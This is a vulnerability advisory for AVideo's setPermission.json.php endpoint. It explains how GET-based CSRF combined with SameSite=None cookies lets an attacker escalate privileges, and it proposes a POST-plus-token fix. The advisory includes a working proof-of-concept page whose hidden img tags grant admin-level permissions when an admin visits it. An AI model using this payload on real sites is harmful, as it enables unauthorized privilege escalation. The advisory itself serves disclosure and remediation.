AVideo's GET-Based CSRF in setPermission.json.php Enables Privilege Escalation via Arbitrary Permission Modification

Summary

The plugin/Permissions/setPermission.json.php endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets session.cookie_samesite=None on session cookies. This allows an unauthenticated attacker to craft a page with <img> tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access.

Details

The root cause is a combination of three issues:

1. $_REQUEST used instead of $_POST (accepts GET parameters):

plugin/Permissions/setPermission.json.php:14-24:

$intvalList = array('users_groups_id','plugins_id','type','isEnabled');
foreach ($intvalList as $value) {
    if($_REQUEST[$value]==='true'){
        $_REQUEST[$value] = 1;
    }else{
        $_REQUEST[$value] = intval($_REQUEST[$value]);
    }
}

$obj = new stdClass();
$obj->id = Permissions::setPermission($_REQUEST['users_groups_id'], $_REQUEST['plugins_id'], $_REQUEST['type'], $_REQUEST['isEnabled']);

The only authorization check is User::isAdmin() at line 10 — there is no CSRF token validation via isGlobalTokenValid().

2. Session cookies set to SameSite=None:

objects/include_config.php:134-141:

if ($isHTTPS) {
    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

This means the admin's session cookie is sent on cross-origin requests, including those initiated by <img src="..."> tags on attacker-controlled pages.

3. The codebase's own security model requires CSRF tokens on state-mutating endpoints:

The comment at include_config.php:137-138 states: "All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." Other endpoints like saveSort.json.php and pluginImport.json.php enforce isGlobalTokenValid(), but setPermission.json.php does not.

Execution flow:

1. Attacker hosts a page containing <img src="https://target/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true">
2. Admin visits the page (e.g., via link in forum, email, or embedded content)
3. Browser issues GET request with the admin's SameSite=None session cookie
4. User::isAdmin() passes because the request carries the admin's session
5. Permissions::setPermission() grants PERMISSION_FULLACCESSVIDEOS (type=10) to user group 2
6. Any user in group 2 (including the attacker) now has full video admin access

The users_groups_id values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated.

PoC

Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):

<!DOCTYPE html>
<html>
<head><title>Interesting Video</title></head>
<body>
<h1>Check out this video!</h1>
<!-- Each img tag silently fires a GET request with admin's session cookie -->
<!-- PERMISSION_FULLACCESSVIDEOS (type=10) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true' style='display:none'>
<!-- PERMISSION_USERS (type=20) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=20&isEnabled=true' style='display:none'>
<!-- PERMISSION_CAN_UPLOAD_VIDEOS (type=70) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=70&isEnabled=true' style='display:none'>
<!-- PERMISSION_CAN_LIVESTREAM (type=80) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=80&isEnabled=true' style='display:none'>
</body>
</html>

Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)

Step 3: When the admin loads the page, all four <img> tags fire simultaneously.

Expected response for each request (visible in browser dev tools):

{"id":"1"}

Step 4: Verify — the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.

Impact

• Privilege escalation: A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page.
• No JavaScript required: The attack uses only <img> tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.).
• Zero interaction beyond page load: Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders.
• Chaining: Multiple permissions can be granted simultaneously by embedding multiple <img> tags. An attacker can grant their group all available permission types in a single page load.
• Blast radius: All users in the targeted group receive the escalated permissions, not just the attacker.

Recommended Fix

In plugin/Permissions/setPermission.json.php, change $_REQUEST to $_POST and add CSRF token validation:

<?php

header('Content-Type: application/json');
if (!isset($global['systemRootPath'])) {
    $configFile = '../../videos/configuration.php';
    if (file_exists($configFile)) {
        require_once $configFile;
    }
}
if(!User::isAdmin()){
    forbiddenPage("Not admin");
}

// Enforce POST method and CSRF token
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    die(json_encode(array('error' => 'POST method required')));
}
if (!isGlobalTokenValid()) {
    die(json_encode(array('error' => 'Invalid CSRF token')));
}

$intvalList = array('users_groups_id','plugins_id','type','isEnabled');
foreach ($intvalList as $value) {
    if($_POST[$value]==='true'){
        $_POST[$value] = 1;
    }else{
        $_POST[$value] = intval($_POST[$value]);
    }
}

$obj = new stdClass();
$obj->id = Permissions::setPermission($_POST['users_groups_id'], $_POST['plugins_id'], $_POST['type'], $_POST['isEnabled']);

die(json_encode($obj));

The AJAX call in getPermissionsFromPlugin.html.php:84-92 already uses type: 'post' but must also send the globalToken parameter in its data payload.